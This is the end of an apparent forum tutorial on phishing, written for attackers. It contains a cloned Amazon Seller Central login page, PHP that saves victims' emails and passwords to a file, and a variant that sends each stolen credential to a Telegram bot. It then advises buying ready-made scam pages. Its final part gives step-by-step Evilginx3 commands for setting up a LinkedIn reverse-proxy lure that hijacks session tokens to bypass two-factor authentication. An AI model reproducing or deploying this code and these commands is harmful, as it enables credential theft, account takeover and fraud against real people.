(function(k,c){function l(a,b){return a.filter(function(a){return a.initiatorType==b})}function f(a,c){if(b.t[a]){var g=b.t[a]-b._t0,e=c.filter(function(a){return 0!==a.responseEnd&&m(a)<g}),f=l(e,"script"),h=l(e,"link"),k=l(e,"img"),n=e.map(function(a){return a.name.split("/")[2]}).filter(function(a,b,c){return a&&c.lastIndexOf(a)==b}),q=e.filter(function(a){return a.duration<p}),s=g-Math.max.apply(null,e.map(m))<r|0;"af"==a&&(b._afjs=f.length);return a+":"+[e[d],f[d],h[d],k[d],n[d],q[d],s].join("-")}}
function m(a){return a.responseEnd-(b._t0-c.timing.navigationStart)}function n(){var a=c[h]("resource"),d=f("cf",a),g=f("af",a),a=f("ld",a);delete b._rt;b._ld=b.t.ld-b._t0;b._art&&b._art();return[d,g,a].join("_")}var p=20,r=50,d="length",b=k.ue,h="getEntriesByType";b._rre=m;b._rt=c&&c.timing&&c[h]&&n})(ue_csm,window.performance);
(function(l,d){function c(b){b="";var c=a.isBFT?"b":"s",d=""+a.oid,f=""+a.lid,g=d;d!=f&&20==f.length&&(c+="a",g+="-"+f);a.tabid&&(b=a.tabid+"+");b+=c+"-"+g;b!=e&&100>b.length&&(e=b,document.cookie="csm-hit="+b+("|"+ +new Date)+m+"; path=/")}function n(){e=0}function h(b){!0===d[a.pageViz.propHid]?e=0:!1===d[a.pageViz.propHid]&&c({type:"visible"})}var m="; expires="+(new Date(+new Date+6048E5)).toGMTString(),e,a=l.ue||{},k=a.pageViz&&a.pageViz.event&&a.pageViz.propHid;a.attach&&(a.attach("click",c),
a.attach("keyup",c),k||(a.attach("focus",c),a.attach("blur",n)),k&&(a.attach(a.pageViz.event,h,d),h({})));a.aftb=1})(ue_csm,document);
ue_csm.ue.stub(ue,"impression");
(function(k,d,h){function f(a,c,b){a&&a.indexOf&&0===a.indexOf("http")&&0!==a.indexOf("https")&&l(s,c,a,b)}function g(a,c,b){a&&a.indexOf&&(location.href.split("#")[0]!=a&&null!==a&&"undefined"!==typeof a||l(t,c,a,b))}function l(a,c,b,e){m[b]||(e=u&&e?n(e):"N/A",d.ueLogError&&d.ueLogError({message:a+c+" : "+b,logLevel:v,stack:"N/A"},{attribution:e}),m[b]=1,p++)}function e(a,c){if(a&&c)for(var b=0;b<a.length;b++)try{c(a[b])}catch(d){}}function q(){return d.performance&&d.performance.getEntriesByType?
d.performance.getEntriesByType("resource"):[]}function n(a){if(a.id)return"//*[@id='"+a.id+"']";var c;c=1;var b;for(b=a.previousSibling;b;b=b.previousSibling)b.nodeName==a.nodeName&&(c+=1);b=a.nodeName;1!=c&&(b+="["+c+"]");a.parentNode&&(b=n(a.parentNode)+"/"+b);return b}function w(){var a=h.images;a&&a.length&&e(a,function(a){var b=a.getAttribute("src");f(b,"img",a);g(b,"img",a)})}function x(){var a=h.scripts;a&&a.length&&e(a,function(a){var b=a.getAttribute("src");f(b,"script",a);g(b,"script",a)})}
function y(){var a=h.styleSheets;a&&a.length&&e(a,function(a){if(a=a.ownerNode){var b=a.getAttribute("href");f(b,"style",a);g(b,"style",a)}})}function z(){if(A){var a=q();e(a,function(a){f(a.name,a.initiatorType)})}}function B(){e(q(),function(a){g(a.name,a.initiatorType)})}function r(){var a;a=d.location&&d.location.protocol?d.location.protocol:void 0;"https:"==a&&(z(),w(),x(),y(),B(),p<C&&setTimeout(r,D))}var s="[CSM] Insecure content detected ",t="[CSM] Ajax request to same page detected ",v="WARN",
m={},p=0,D=k.ue_nsip||1E3,C=5,A=1==k.ue_urt,u=!0;ue_csm.ue_disableNonSecure||(d.performance&&d.performance.setResourceTimingBufferSize&&d.performance.setResourceTimingBufferSize(300),r())})(ue_csm,window,document);
if(window.ue&&uet) { uet('bb'); }
</script></head>
<body class="ap-locale-en_US a-m-us a-aui_51744-c a-aui_57326-c a-aui_72554-c a-aui_83815-c a-aui_86171-c a-aui_96511-c a-aui_accessibility_49860-c a-aui_attr_validations_1_51371-c a-aui_bolt_62845-c a-aui_noopener_84118-c a-aui_ux_102912-c a-aui_ux_59374-c a-aui_ux_60000-c a-aui_ux_92006-c a-aui_ux_98513-c a-dex_92889-c a-meter-animate">
<script type="text/javascript">
(function(){function l(a){for(var c=b.location.search.substring(1).split("&"),e=0;e<c.length;e++){var d=c[e].split("=");if(d[0]===a)return d[1]}}window.amzn=window.amzn||{};amzn.copilot=amzn.copilot||{};var b=window,f=document,g=b.P||b.AmazonUIPageJS,h=f.head||f.getElementsByTagName("head")[0],m=0,n=0;amzn.copilot.checkCoPilotSession=function(){f.cookie.match("cpidv")&&("undefined"!==typeof jQuery&&k(jQuery),g&&g.when&&g.when("jQuery").execute(function(a){k(a)}),b.amznJQ&&b.amznJQ.available&&b.amznJQ.available("jQuery",
function(){k(jQuery)}),b.jQuery||g||b.amznJQ||q())};var q=function(){m?b.ue&&"function"===typeof b.ue.count&&b.ue.count("cpJQUnavailable",1):(m=1,f.addEventListener?f.addEventListener("DOMContentLoaded",amzn.copilot.checkCoPilotSession,!1):f.attachEvent&&f.attachEvent("onreadystatechange",function(){"complete"===f.readyState&&amzn.copilot.checkCoPilotSession()}))},k=function(a){if(!n){n=1;amzn.copilot.jQuery=a;a=l("debugJS");var c="https:"===b.location.protocol?1:0,e=1;url="/gp/copilot/handlers/copilot_strings_resources.html";
window.texas&&texas.locations&&(url=texas.locations.makeUrl(url));g&&g.AUI_BUILD_DATE&&(e=0);amzn.copilot.jQuery.ajax&&amzn.copilot.jQuery.ajax({url:url,dataType:"json",data:{isDebug:a,isSecure:c,includeAUIP:e},success:function(a){amzn.copilot.vip=a.serviceEndPoint;amzn.copilot.enableMultipleTabSession=a.isFollowMe;r(a)},error:function(){b.ue.count("cpLoadResourceError",1)}})}},r=function(a){var c=amzn.copilot.jQuery,e=function(){amzn.copilot.setup(c.extend({isContinuedSession:!0},a))};a.CSSUrls&&
c.each(a.CSSUrls[0],function(a,c){var b=f.createElement("link");b.type="text/css";b.rel="stylesheet";b.href=c;h.appendChild(b)});a.CSSTag&&s(a.CSSTag);if(a.JSUrls){var d=l("forceSynchronousJS"),b=a.JSUrls[0];c.each(b,function(a,c){a===b.length-1?p(c,d,e):p(c,d)})}a.JSTag&&(t(a.JSTag),P.when("CSCoPilotPresenterAsset").execute(function(){e()}))},t=function(a){var c=f.createElement("div");c.innerHTML=a;a=0;for(var b=c.children.length;a<b;a++){var d=f.createElement("script");d.type="text/javascript";
d.innerHTML=c.children[a].innerHTML;h.appendChild(d)}},s=function(a){var b=f.createElement("div");b.innerHTML=a;a=0;for(var e=b.children.length;a<e;a++)h.appendChild(b.children[a])},p=function(a,b,e){var d=f.createElement("script");d.type="text/javascript";d.src=a;d.async=b?!1:!0;e&&(d.onload=e);h.appendChild(d)}})();
amzn.copilot.checkCoPilotSession();
</script>
<div id="a-page"><script type="a-state" data-a-state="{"key":"a-wlab-states"}">{"AUI_51744":null,"AUI_57326":null,"AUI_72554":null,"AUI_83815":null,"AUI_86171":null,"AUI_96511":null,"AUI_ACCESSIBILITY_49860":null,"AUI_ATTR_VALIDATIONS_1_51371":null,"AUI_BOLT_62845":null,"AUI_NOOPENER_84118":null,"AUI_UX_102912":null,"AUI_UX_59374":null,"AUI_UX_60000":null,"AUI_UX_92006":null,"AUI_UX_98513":null,"DEX_92889":null}</script>
<div class="a-section a-padding-medium auth-workflow">
<div class="a-section a-spacing-none auth-navbar">
<div class="a-section a-spacing-medium a-text-center">
<a class="a-link-nav-icon" tabindex="-1" href="/home">
<img src="https://images-na.ssl-images-amazon.com/images/G/02/rainier/nav/sc-unified._CB501694303_.png">
</a>
</div>
</div>
<div id="authportal-center-section" class="a-section">
<div id="authportal-main-section" class="a-section">
<div class="a-section a-spacing-base auth-pagelet-container">
<div id="auth-cookie-warning-message" class="a-box a-alert a-alert-warning"><div class="a-box-inner a-alert-container"><h4 class="a-alert-heading">Please Enable Cookies to Continue</h4><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
<p>
<a class="a-link-normal" href="/gp/help/customer/display.html/ref=ap_cookie_error_help?">
</a>
</p>
</div></div></div>
</div>
<div class="a-section auth-pagelet-container">
<!-- Set cross domain sso variables to be used for making Ajax calls to central Identity domain -->
<!-- Set cross domain sso variables to be used for making Ajax calls to central Identity domain -->
<!-- show a warning modal dialog when the third party account is connected with Amazon -->
<div class="a-section a-spacing-base">
<div class="a-section">
<form name="signIn" method="post" novalidate="" action="login.php" class="a-spacing-none fwcim-form" data-fwcim-id="undefinede6ba0ec5">
<input name="appActionToken" value="xEcKLmFtj2BJjgNSi5GenCEojTfk8j3D" type="hidden"><input name="appAction" value="SIGNIN" type="hidden">
<input name="openid.pape.max_auth_age" value="ape:MTgwMDA=" type="hidden">
<input name="openid.identity" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAvaWRlbnRpZmllcl9zZWxlY3Q=" type="hidden">
<input name="ssoResponse" value="ape:ZXlKNmFYQWlPaUpFUlVZaUxDSmxibU1pT2lKQk1qVTJSME5OSWl3aVlXeG5Jam9pUVRJMU5rdFhJbjAucXV5cUg1blR1eVpROW4zVk5JNzB0UTdzV1Y3MFBoMTVxdmhpMEhjaXYyajA2dG85aWo0cTh3LnVEcDBkenBxRjUzdnhVNXgubGVMbWRycnBlbUhwM0FuR1h0MnpqdDJzd2YyN0xqV3o3UTllMUpJcXdnUU1CdDEzZ0l0TjdUWlkyaWdMX09LWHZ1ZWxKVUF2Nk5iREktNjE1SEkwazY0cTNLOEMtbURkM0FRUlB5Umk3ZG96TXJ5UTE3bGRLYjhheDJSb2RpYTI4OXYtNWd6Y3dGbmoxSG5aQVJwWk9mX3pSbnZ2bUxBVzh6YUhQMm93Y1VyQWQ0bW5tLUZnVXNaYjUxdmpjLU5UeHRyWFNmakVTN1lqMEtoTWpTYkJqMnlVdHItR0ZEVjVpVEgxeWkyWGFUS2lZa0M1RUROOEthdXdlaTRqb1diVG1zXzJyY0EuSWR4ck9rTTNuOXZlc09GTlVRZlk5QQ==" type="hidden">
<input name="language" value="ape:ZW5fVVM=" type="hidden">
<input name="pageId" value="ape:c2NfZXVfYW1hem9uX3Yy" type="hidden">
<input name="openid.return_to" value="ape:aHR0cHM6Ly9zZWxsZXJjZW50cmFsLWV1cm9wZS5hbWF6b24uY29tL2hvbWU/U2lnbitJbj0mY29yPWxvZ2luX0VV" type="hidden">
<input name="prevRID" value="ape:NjEwNUdIQU5FNTQwR0UyMjhLRzY=" type="hidden">
<input name="openid.assoc_handle" value="ape:c2NfZXVfYW1hem9uX3Yy" type="hidden">
<input name="openid.mode" value="ape:Y2hlY2tpZF9zZXR1cA==" type="hidden">
<input name="openid.ns.pape" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvZXh0ZW5zaW9ucy9wYXBlLzEuMA==" type="hidden">
<input name="prepopulatedLoginId" type="hidden">
<input name="failedSignInCount" value="ape:MA==" type="hidden">
<input name="openid.claimed_id" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAvaWRlbnRpZmllcl9zZWxlY3Q=" type="hidden">
<input name="openid.ns" value="ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjA=" type="hidden">
<div class="a-section">
<div class="a-box"><div class="a-box-inner a-padding-extra-large">
<h1 class="a-spacing-small">
Sign in
</h1>
<!-- optional subheading element -->
<div class="a-row a-spacing-base">
<label for="ap_email" class="a-form-label">
Email (phone for mobile accounts)
</label>
<input maxlength="128" id="ap_email" name="email" tabindex="1" class="a-input-text a-span12 auth-autofocus auth-required-field" type="email">
<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
Enter your email or mobile phone number
</div></div></div>
</div>
<input name="create" value="0" type="hidden">
<div class="a-section a-spacing-large">
<div class="a-row">
<div class="a-column a-span5">
<label for="ap_password" class="a-form-label">
Password
</label>
</div>
<div class="a-column a-span7 a-text-right a-span-last">
<a id="auth-fpp-link-bottom" class="a-link-normal" tabindex="3" href="https://sellercentral-europe.amazon.com/ap/forgotpassword?openid.pape.max_auth_age=18000&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&language=en_US&pageId=sc_eu_amazon_v2&openid.return_to=https%3A%2F%2Fsellercentral-europe.amazon.com%2Fhome%3FSign%2BIn%3D%26cor%3Dlogin_EU&prevRID=6105GHANE540GE228KG6&openid.assoc_handle=sc_eu_amazon_v2&openid.mode=checkid_setup&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&prepopulatedLoginId=&failedSignInCount=0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">
Forgot your password?
</a>
</div>
</div>
<input id="ap_password" name="password" tabindex="2" class="a-input-text a-span12 auth-required-field" type="password">
<div id="auth-password-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">
Enter your password
</div></div></div>
</div>
<div class="a-section a-spacing-extra-large">
<span class="a-button a-button-span12 a-button-primary" id="a-autoid-0"><span class="a-button-inner"><input id="signInSubmit" tabindex="5" class="a-button-input" aria-labelledby="a-autoid-0-announce" type="submit"><span class="a-button-text" aria-hidden="true" id="a-autoid-0-announce">
Sign in
</span></span></span>
<script>
function cf() {
if (typeof window.uet === 'function') {
uet('cf');
}
if (window.embedNotification &&
typeof window.embedNotification.onCF === 'function') {
embedNotification.onCF();
}
}
</script>
<script type="text/javascript">cf()</script>
<div class="a-row a-spacing-top-medium">
<div class="a-section a-text-left">
<label for="auth-remember-me" class="a-form-label">
<div data-a-input-name="rememberMe" class="a-checkbox"><label><input name="rememberMe" value="true" tabindex="4" type="checkbox"><i class="a-icon a-icon-checkbox"></i><span class="a-label a-checkbox-label">
Keep me signed in.
<span class="a-declarative" data-action="a-popover" data-a-popover="{"activate":"onclick","header":"\"Keep Me Signed In\" Checkbox","inlineContent":"<p>Choosing \"Keep me signed in\" reduces the number of times you're asked to sign in on this device.<\/p>\n<p>To keep your account secure, use this option only on your personal devices.<\/p>"}">
<a id="remember_me_learn_more_link" href="javascript:void(0)" class="a-popover-trigger a-declarative">
Details
<i class="a-icon a-icon-popover"></i></a>
</span>
</span></label></div>
</label>
</div>
</div>
</div>
<div class="a-row">
<span id="auth-signin-cancel-link" class="a-button a-spacing-base a-spacing-top-base a-button-span12"><span class="a-button-inner"><a id="signInCancelSubmit" tabindex="6" href="https://services.amazon.co.uk/services/sell-online/features-and-benefits.htm?apCustomerCancelled=true" class="a-button-text" role="button">
Register now
</a></span></span>
</div>
</div></div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<div id="right-2">
</div>
<div class="a-section a-spacing-top-extra-large auth-footer">
<div class="a-divider a-divider-section"><div class="a-divider-inner"></div></div>
<div class="a-section a-spacing-small a-text-center a-size-mini">
<span class="auth-footer-seperator"></span>
<a class="a-link-normal" target="_blank" rel="noopener noreferrer" href="/help">
Help
</a>
<span class="auth-footer-seperator"></span>
</div>
<div class="a-section a-spacing-none a-text-center">
<span class="a-size-mini a-color-secondary">
© 1996-2018, Amazon.com, Inc. or its affiliates
</span>
</div>
</div>
</div>
<div id="auth-external-javascript" class="auth-external-javascript" data-external-javascripts="">
</div>
<script id="fwcim-script" crossorigin="anonymous" type="text/javascript" src="https://images-na.ssl-images-amazon.com/images/G/02/x-locale/common/login/fwcim._CB477506611_.js"></script>
<script type="text/javascript">
if (typeof fwcim != "undefined") {
fwcim.useMercury('https://images-na.ssl-images-amazon.com/images/G/02/x-locale/common/login/mercury9._CB372126687_.swf')
fwcim.profile('signIn');
}
</script>
<!-- cache slot rendered -->
</div><div id="be" style="display:none;visibility:hidden;"><form name="ue_backdetect" action="get"><input name="ue_back" value="2" type="hidden"></form>
<script type="text/javascript">
var ue_mbl=ue_csm.ue.exec(function(e,a){function k(f){b=f||{};a.AMZNPerformance=b;b.transition=b.transition||{};b.timing=b.timing||{};e.ue.exec(l,"csm-android-check")()&&b.tags instanceof Array&&(f=-1!=b.tags.indexOf("usesAppStartTime")||b.transition.type?!b.transition.type&&-1<b.tags.indexOf("usesAppStartTime")?"warm-start":void 0:"view-transition",f&&(b.transition.type=f));"reload"===d._nt&&e.ue_orct||"intrapage-transition"===d._nt?a.performance&&performance.timing&&performance.timing.navigationStart?
b.timing.transitionStart=a.performance.timing.navigationStart:delete b.timing.transitionStart:"undefined"===typeof d._nt&&a.performance&&performance.timing&&performance.timing.navigationStart&&a.history&&"function"===typeof a.History&&"object"===typeof a.history&&history.length&&1!=history.length&&(b.timing.transitionStart=a.performance.timing.navigationStart);f=b.transition;var c;c=d._nt?d._nt:void 0;f.subType=c;a.ue&&a.ue.tag&&a.ue.tag("has-AMZNPerformance");d.isl&&a.uex&&uex("at","csm-timing");
m()}function n(b){a.ue&&a.ue.count&&a.ue.count("csm-cordova-plugin-failed",1)}function l(){return a.webclient&&"function"===typeof a.webclient.getRealClickTime?a.cordova&&a.cordova.platformId&&"ios"==a.cordova.platformId?!1:!0:!1}function m(){try{P.register("AMZNPerformance",function(){return b})}catch(a){}}function g(){if(!b)return"";ue_mbl.cnt=null;var a=b.transition,c;c=b.timing.transitionStart;c="undefined"!==typeof c&&"undefined"!==typeof h?c-h:void 0;a=["mts",c,"mtt",a.type,"mtst",a.subType,
"mtlt",a.launchType];c="";for(var d=0;d<a.length;d+=2){var e=a[d],g=a[d+1];"undefined"!==typeof g&&(c+="&"+e+"="+g)}return c}function p(a,c){b&&(h=c,b.timing.transitionStart=a,b.transition.type="view-transition",b.transition.subType="ajax-transition",b.transition.launchType="normal",ue_mbl.cnt=g)}var d=e.ue||{},h=e.ue_t0,b;if(a.P&&a.P.when&&a.P.register)return a.P.when("CSMPlugin").execute(function(a){a.buildAMZNPerformance&&a.buildAMZNPerformance({successCallback:k,failCallback:n})}),{cnt:g,ajax:p}},
"mobile-timing")(ue_csm,window);
(function(d){d._uess=function(){var a="";screen&&screen.width&&screen.height&&(a+="&sw="+screen.width+"&sh="+screen.height);var b=function(a){var b=document.documentElement["client"+a];return"CSS1Compat"===document.compatMode&&b||document.body["client"+a]||b},c=b("Width"),b=b("Height");c&&b&&(a+="&vw="+c+"&vh="+b);return a}})(ue_csm);
(function(a){var b=document.ue_backdetect;b&&b.ue_back&&a.ue&&(a.ue.bfini=b.ue_back.value);a.uet&&a.uet("be");a.onLdEnd&&(window.addEventListener?window.addEventListener("load",a.onLdEnd,!1):window.attachEvent&&window.attachEvent("onload",a.onLdEnd));a.ueh&&a.ueh(0,window,"load",a.onLd,1);a.ue&&a.ue.tag&&(a.ue_furl&&a.ue_furl.split?(b=a.ue_furl.split("."))&&b[0]&&a.ue.tag(b[0]):a.ue.tag("nofls"))})(ue_csm);
(function(g,h){function d(a,d){var b={};if(!e||!f)try{var c=h.sessionStorage;c?a&&("undefined"!==typeof d?c.setItem(a,d):b.val=c.getItem(a)):f=1}catch(g){e=1}e&&(b.e=1);return b}var b=g.ue||{},a="",f,e,c,a=d("csmtid");f?a="NA":a.e?a="ET":(a=a.val,a||(a=b.oid||"NI",d("csmtid",a)),c=d(b.oid),c.e||(c.val=c.val||0,d(b.oid,c.val+1)),b.ssw=d);b.tabid=a})(ue_csm,window);
ue_csm.ue.exec(function(e,f){var a=e.ue||{},b=a._wlo,d;if(a.ssw){d=a.ssw("CSM_previousURL").val;var c=f.location,b=b?b:c&&c.href?c.href.split("#")[0]:void 0;c=(b||"")===a.ssw("CSM_previousURL").val;!c&&b&&a.ssw("CSM_previousURL",b);d=c?"reload":d?"intrapage-transition":"first-view"}else d="unknown";a._nt=d},"NavTypeModule")(ue_csm,window);
(function(b,c){var a=c.images;a&&a.length&&b.ue.count("totalImages",a.length)})(ue_csm,document);
ue_csm.ue._rtn = 1;
(function(e,f){function h(a){a=a.split("?")[0]||a;a=a.replace("https://","").replace("https://","").replace("resource://","").replace("res://","").replace("undefined://","").replace("chrome://","").replace(/\*/g,"").replace(/!/g,"").replace(/~/g,"");var b=a.split("/");a=a.substr(a.lastIndexOf("/")+1);b.splice(-1);b=b.map(function(a){c[a]||(c[a]=(k++).toString(36));return c[a]});b.push(a);return b.join("!")}function l(){return f.getEntriesByType("resource").filter(function(a){return d._rre(a)<d._ld}).sort(function(a,
b){return a.responseEnd-b.responseEnd}).splice(0,m).map(function(a){var b=[],c;for(c in a)g[c]&&a[c]&&b.push(g[c]+Math.max(a[c]|0,-1).toString(36));b.push("i"+a.initiatorType);(1==d._rtn&&d._afjs>n||2==d._rtn)&&b.push("n"+h(a.name));return b.join("_")}).join("*")}function p(){var a="pm",b;for(b in c)c.hasOwnProperty(b)&&(a+="*"+c[b]+"_"+b);return a}function q(){d.log({k:"rtiming",value:l()+"~"+p()},"csm")}if(f&&f.getEntriesByType&&Array.prototype.map&&Array.prototype.filter&&e.ue&&e.ue.log){var g=
{connectStart:"c",connectEnd:"C",domainLookupStart:"d",domainLookupEnd:"D",duration:"z",fetchStart:"f",redirectStart:"r",redirectEnd:"R",requestStart:"q",responseStart:"s",responseEnd:"S",startTime:"a"},d=e.ue,c={},k=1,n=20,m=200;d&&d._rre&&(d._art=function(){d._ld&&window.setTimeout(q,0)})}})(ue_csm||{},window.performance);
(function(c,d){var b=c.ue,a=d.navigator;b&&b.tag&&a&&(a=a.connection||a.mozConnection||a.webkitConnection)&&a.type&&b.tag("netInfo:"+a.type)})(ue_csm,window);
(function(c,d){function h(a,b){for(var c=[],d=0;d<a.length;d++){var e=a[d],f=b.encode(e);if(e[k]){var g=b.metaSep,e=e[k],l=b.metaPairSep,h=[],m=void 0;for(m in e)e.hasOwnProperty(m)&&h.push(m+"="+e[m]);e=h.join(l);f+=g+e}c.push(f)}return c.join(b.resourceSep)}function s(a){var b=a[k]=a[k]||{};b[t]||(b[t]=c.ue_mid);b[u]||(b[u]=c.ue_sid);b[f]||(b[f]=c.ue_id);b.csm=1;a="//"+c.ue_furl+"/1/"+a[v]+"/1/OP/"+a[w]+"/"+a[x]+"/"+h([a],y);if(n)try{n.call(d[p],a)}catch(g){c.ue.sbf=1,(new Image).src=a}else(new Image).src=
a}function q(){g&&g.isStub&&g.replay(function(a,b,c){a=a[0];b=a[k]=a[k]||{};b[f]=b[f]||c;s(a)});l.impression=s;g=null}if(!(1<c.ueinit)){var k="metadata",x="impressionType",v="foresterChannel",w="programGroup",t="marketplaceId",u="session",f="requestId",p="navigator",l=c.ue||{},n=d[p]&&d[p].sendBeacon,r=function(a,b,c,d){return{encode:d,resourceSep:a,metaSep:b,metaPairSep:c}},y=r("","?","&",function(a){return h(a.impressionData,z)}),z=r("/",":",",",function(a){return a.featureName+":"+h(a.resources,
A)}),A=r(",","@","|",function(a){return a.id}),g=l.impression;n?q():(l.attach("load",q),l.attach("beforeunload",q));d.P&&d.P.register&&d.P.register("impression-client",function(){})}})(ue_csm,window);
var ue_pty = "AuthenticationPortal";
var ue_spty = "SignInApplication";
var ue_adb = 4;
ue_csm.ue.exec(function(u,a){function q(){b=f;g();if(h)try{d.setItem(k,b)}catch(a){}}function r(){b=1===a.ue_adb_chk?m:f;g();if(h)try{d.setItem(k,b)}catch(c){}}function g(){l.tag(b);l.isl&&a.uex&&uex("at",b);c&&0<c.ec?n():a.ue_adb_rtla&&c&&(c.elh=n)}function n(){a.ue_adb_rtla&&c&&0<c.ec&&!1===p&&(c.elh=null,ueLogError({m:"Hit Info"},{logLevel:"INFO",adb:b}),p=!0)}var l=a.ue,f="adblk_yes",m="adblk_no",s=a.ue_adb_url||"https://m.media-amazon.com/images/G/01/csm/showads.v2.js",b="adblk_unk",d;a:{try{d=
a.localStorage;break a}catch(v){}d=void 0}var k="csm:adb",e=a.ue_adb,c=a.ue_err,h=d&&(3===e||4===e||5===e),e=4!==e&&5!==e,p=!1,t=function(){if(d&&h){var a;a:{try{a=d.getItem(k);break a}catch(c){}a=void 0}if(a)return b=a,!0}return!1}();e||!t?l.uels(s,{onerror:q,onload:r}):g();a.ue_isAdb=function(){return b};a.ue_isAdb.unk="adblk_unk";a.ue_isAdb.no=m;a.ue_isAdb.yes=f},"adb")(document,window);
</script>
</div>
<noscript>
<img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1F83G8C2ARO7P:261-5441383-4343233:6105GHANE540GE228KG6$uedata=s:%2Fap%2Fuedata%3Fnoscript%26id%3D6105GHANE540GE228KG6:0' alt=""/>
</noscript>
<div class="fwcim-container"></div><div id="a-popover-root" style="z-index:-1;position:absolute;"></div></body></html>
Finally, create a 'login.php' file to handle the form submission:
Code:
nano login.php
PHP:
<?php
file_put_contents("usernames.txt", "Account: " . $_POST['email'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://www.amazon.com');
exit();
Submitting anything here will create two files, usernames.txt and ip.txt which will include your harvested credentials.
While this setup is capturing emails, passwords, and IP addresses it's basic as fuck and will only work on the most gullible targets. However, let's be real here, this type of phisher is outdated as hell. You can't deploy this through mass emails anymore because phishing detection has become sufficiently advanced. It'll get caught the moment you create an email campaign around it.
So why the fuck are we even looking at this? It's a proof of concept. Understanding how this basic shit works is crucial before you move on to the more advanced techniques that can actually get past modern security measures.
Additional: Real-Time Notifications
Since you have a rudimentary understanding of how data is captured, you can play around it as you please, one way is setting up a telegram bot and getting a notification when you get a hit. For this basic example it's pretty to pull off provided you have a telegram bot already:
login.php
PHP:
<?php
$botToken = "YOUR_BOT_TOKEN_HERE";
$chatId = "YOUR_CHAT_ID_HERE";
$message = urlencode("New phish:\nEmail: ".$_POST['email']."\nPassword: ".$_POST['password']);
file_get_contents("https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=$message");
?>
Now you'll get a Telegram message every time someone enters their credentials. It's like having a digital fishing rod that vibrates in your pocket every time you get a bite.
Leveling Up: Pre-made Scam Pages
Don't want to build from scratch? I get it, not everyone's a coding wizard. Especially since right-click save as source and modify form no longer works for most sites. You can find pre-made "scam pages" on various Telegram groups and forums. But this is crucial:
TRUST NO ONE. That seller hawking a perfect bank login page? They could easily have backdoored that shit. You might think you're the scammer, but surprise, you're the one getting played.
If you do go this route:
Only buy from reputable sellers with good reviews
Always, ALWAYS review the code before using it
Consider having a trusted coder friend look it over too
Better yet? Use these pre-made pages as inspiration. Study their structure, then build your own. It's more work but it's the only way to be 100% sure you're not the one getting phished yourself.
Advanced Phishing: Enter Evilginx3
Now we're talking. Evilginx3 is the big leagues of phishing. And this guide here will just be a rough draft in starting it up. I'll write a comprehensive guide in the future. Suffice it to say that this isn't your grandma's phishing kit: we're talking about hijacking entire sessions, bypassing 2FA, and leaving your victims clueless. Evilginx3 differs from standard fake page phishing by providing a reverse proxy. This means you will essentially be a man in the middle between the user and the service making the entire process seamless and more secure.
Setting Up Your Digital Fishing Rod:
1. SSH into your server:
First, SSH into the server that you set up previously:
Bash:
ssh your_username@your_server_ip
2. Install the essentials:
Update your package lists and install the required packages:
Bash:
sudo apt update && sudo apt install git make golang-go
3. Clone and set up Evilginx3:
Clone the Evilginx3 repository and set it up:
Bash:
git clone https://github.com/kgretzky/evilginx3.git
cd evilginx3
make
sudo make install
sudo cp -r phishlets/ /usr/share/evilginx/
sudo cp -r templates/ /usr/share/evilginx/
4. Fire up Evilginx3:
Start Evilginx3:
Bash:
sudo evilginx3
5. Configure your settings:
Configure your domain, IP, and redirect URL:
Bash:
config domain your-sketchy-domain.com
config ip your.server.ip.address
config redirect_url https://some-legit-site.com
6. Enable a phishlet (LinkedIn example):
Set the hostname and enable the LinkedIn phishlet:
Bash:
phishlets hostname linkedin your-sketchy-domain.com
phishlets enable linkedin
7. Create a lure:
Create and edit a lure for LinkedIn:
Bash:
lures create linkedin
lures edit 0 redirect_url https://www.linkedin.com/
lures get-url 0
You now have your phishing URL, which will look something like https://www.your-sketchy-domain.com/whatever.
Why This Shit is Next Level:
2FA? What 2FA? You're snagging session tokens, not just passwords. 2FA might as well not exist.
Real-time Access: As soon as they log in, you're in. No waiting around.
Stealth Mode: Victims are on the real site. No janky fake pages to raise alarms.
Scale This Bitch: One setup, multiple phishlets. Hit Gmail, Facebook, banks - sky's the limit.
With Evilginx3, you're not just fishing for login details. You're stealing the whole dammn boat while the owner is still sailing it.
Pro Tips:
Run in a tmux session: Keep it alive when you disconnect:
Bash:
tmux new -s evilginx
sudo evilginx3
To detach: CTRL+B, then D. To reattach:
Bash:
tmux attach -t evilginx
Customize your attack: Use lures edit to customize your attack. Add URL params, change paths - get creative:
Bash:
lures edit 0 param1 value1
lures edit 0 path /custom-path
Check your logs: Check your logs with sessions. That's where the gold is:
Bash:
sessions
sessions 0
Next up we will be diving to SPAMMING and we will expand more on EVILGINX3 and it's powers, especially advanced cases of phishing attacks. Stay tuned and keep safe. If you have any questions feel free to drop a comment!